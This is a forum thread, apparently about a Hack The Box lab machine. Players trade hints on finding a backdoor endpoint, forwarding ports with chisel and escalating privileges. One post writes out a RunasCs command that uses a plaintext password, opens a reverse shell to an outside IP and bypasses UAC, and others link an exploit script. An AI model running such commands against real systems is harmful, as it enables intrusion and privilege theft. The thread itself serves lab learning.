[scp]

/ews/MsExgHealthCheckd/

how did you find this endpoint?

[nenandjabhata]

Can anyone tell me why i have errors here please?
<code>
C:\Temp\www\internal\content\posts\internal-laps-alpha>.\RunasCs.exe backup ytkCAMAGNEfDiMAvFpdEVGyNzQotkczpxOstRvNT cmd.exe -r 10.10.16.64:4444 -t 8 --bypass-uac
.\RunasCs.exe backup ytkCAMAGNEfDiMAvFpdEVGyNzQotkczpxOstRvNT cmd.exe -r 10.10.16.64:4444 -t 8 --bypass-uac

Unhandled Exception: System.MissingMethodException: Method not found: 'System.String[] System.String.Split(Char, System.StringSplitOptions)'.
  at RunasCsMainClass.ValidateRemote(String remote)
  at RunasCsMainClass.RunasCsMain(String[] args)
  at MainClass.Main(String[] args)
</code>

[VrxWqpKiQ7LSpX]

/ews/MsExgHealthCheckd/

how did you find this endpoint?

You need to read the malweare analysis in the web site. 
First you need to find the host name with enum.
Then you need to find a user (try to read the blog post)
And then you will have more information about the  /ews/MsExgHealthCheckd/

[greenSheep12]

+1 , what were the steps involved in order to arrive there? I'm trying to learn

Maybe they used a custom dict or just saw the name of the machine so they recognized the vulnerability.

Read the blog posts, entries, on the website and its internal sites, once you could logon there. It's all there, also specifies sources regarding that vulnerability.

How can I login there ?

I find something useful in "https://app.napper.htb/posts/setup-basic-auth-powershell/" step 6, which solve my problem. Thanks. It seams I need to learn more recon things.

Gosh this is a good lesson to start reading stuff

[monkeythefirst]

About this script:

https://github.com/Burly0/HTB-Napper

I did not get shell, what is problem ?

[Anonymous21]

About this script:

https://github.com/Burly0/HTB-Napper

I did not get shell, what is problem ?

why it,s not working tell me

[intersteller2038]

I'm not able to port forward to port 9200 using chisel, I'm getting this error:
curl: (35) OpenSSL SSL_connect: SSL_ERROR_SYSCALL in connection to 127.0.0.1:9200



Can someone help me?

[RebeLHeX]

Make sure you are in a place you can execute like C:\Temp\

[m1lk]

My chisel isn't working, am getting blank output

[monkeythefirst]

Hi everybody. PLS help with two questions:
1. how long do seed and hash live? After decryption i got result "username or password not correct"
2. What options with RunasCs.exe need? No result
Thanks advance.